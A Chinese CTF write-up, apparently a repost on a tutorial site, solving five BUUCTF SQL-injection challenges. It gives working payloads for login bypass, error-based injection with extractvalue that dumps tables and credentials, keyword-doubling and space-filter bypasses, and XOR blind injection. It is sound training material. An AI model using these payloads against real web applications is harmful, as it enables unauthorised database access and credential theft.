C/C++教程

(wp)ctfweb-sql注入极客大挑战

本文主要是介绍(wp)ctfweb-sql注入极客大挑战,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

(wp)ctfweb-sql注入极客大挑战

我的blog,欢迎来玩
buuctf极客大挑战系列 sql注入

NO.1 EasySQL

题目如图:

easysql1

先尝试 万能密码

' or 1=1 #

结果一步得出答案…

easysql2

NO.2 LoveSQL

题目同上,没变化

尝试万能密码,找不到有效信息

love1

尝试报错注入,寻找其他库/表:

1'and extractvalue(1,concat('~',database()))#

顺利得到库名 geek

love2

尝试爆表名:

1'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema="geek")))#

显示 结果超过一行(Subquery returns more than 1 row),添加 group_connat() 函数解决。

所以,输入

1'and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema="geek")))#

得到表名 geekuser,l0ve1ysq1

love3

尝试查列名,目测是第二个

1'and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1")))#

得到列名 id,username,password

love4

尝试获取信息

1'and extractvalue(1,concat('~',(select concat_ws('~',id,username,password) from l0ve1ysq1 where id=1)))#
love5

又查了几个id 全是废话,直接爆破吧

love6 love7

爆破得出 id=16处有flag没显示全

前半段

1'and extractvalue(1,concat('~',(select concat_ws('~',id,username,password) from l0ve1ysq1 where id=16)))#

后半段

1'and extractvalue(1,concat('~',(select substr(password,15,30) from l0ve1ysq1 where id=16)))#
love8 love9

得 flag{fd752c8f-8f92-4b6f-93fa-0f99791741f0}

NO.3 BabySQL

老方法 万能密码走一遍,果然不行~

选择做FUZZ模糊测试

baby1

不难发现 len 726长度都被过滤成空’’ 所以显示没有输入,

而len 751都没有被过滤,

这种过滤比较简单,所以直接考虑 双写绕过

通过报错注入

1'oorr extractvalue(1,concat(0x7e,database()))#

得到库名 geek

baby2

继续爆表名

 **1'oorr extractvalue(1,concat(0x7e,(seselectlect group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema="geek")))#**     

得到表名 b4bsql,geekuser

baby3

继续爆列名

1'oorr extractvalue(1,concat(0x7e,(seselectlect group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name="b4bsql")))#

得到列名 id,username,password

baby4

查询数据

1'oorr extractvalue(1,concat(0x7e,(seselectlect concat_ws(0x7e,id,username,passwoorrd)frfromom b4bsql whwhereere id=1)))#

同上,又是一堆废话,直接爆破,得到id=8时有flag

剩下步骤同上一题

baby5

后半部分

1'oorr extractvalue(1,concat(0x7e,(seselectlect subsubstrstr(passwoorrd,15,30)frfromom b4bsql whwhereere id=8)))#
baby6

得flag{50ba0844-d76f-4a9a-892f-bc7694528c7e}

NO.4 HardSQL

万能密码走一下,失败

hard1

直接做FUZZ模糊测试

hard2

如图,len 736都被屏蔽了

len 751没被屏蔽,另外空格在实际输入中也被屏蔽了,所以空格用括号代替。

尝试报错注入**1’or(extractvalue(1,concat(0x7e,database())))#

顺利得到库名 geek

图同上,略

尝试爆表名

1'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where((table_schema)like("geek"))))))#
hard3

得到表名 H4rDsq1

尝试爆列名

1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like("H4rDsq1"))))))#

得 id,username,password

hard4

查找信息

1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where((id)like(1))))))#

得flag前半段

hard5

查后半段

1'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)where((id)like(1))))))#
hard6

flag{7725665e-c9b1-4558-b610-12bcccca00ce}

NO.5 FinalSQL

根据界面提示 本题可能为sql盲注

所以先做FUZZ测试

fin1

可以发现,大部分语句被屏蔽,选择盲注。而点击1时,发现

fin2

而输入7时

fin3

输入更大的超范围数同理,发现注入点

用FUZZ测试,个别未被屏蔽,但报错信息被屏蔽

最后我选择用异或^注入进行盲注:

1^(sql注入判断语句)

如果显示(NO!),说明id=1,进一步说明sql判断语句为 假

如果显示(ERROR!!!),说明id=0,进一步说明sql判断语句为 真

写一个py跑

fin4

同理将 datebase()替换为

(select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek'))

再跑

再换为

(select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y')

再跑

再换

(select(group_concat(passVord))from(F1naI1y))

再跑

fin8

得出flag

总结

写了一下午,当然,总结出一些sql相关的东西

1.页面上有显示位时,用联合注入 union;页面上没有显示位,但是有SQL语句执行错误信息输出时用报错注入

2.联合查询 先判断整型还是字符型,order by查列数,获取库名,获取表名,获取字段名,获取数据

3.报错注入不用查列数,直接通过extractvalue函数报错查信息

4.当有绕过时,进行模糊测试,考虑是否为 双写绕过或空格绕过

5.若都不是,找可注入点进行盲注,一般这种题都会有可注入点让我们下手。盲注写py暴力破解即可。


END

这篇关于(wp)ctfweb-sql注入极客大挑战的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!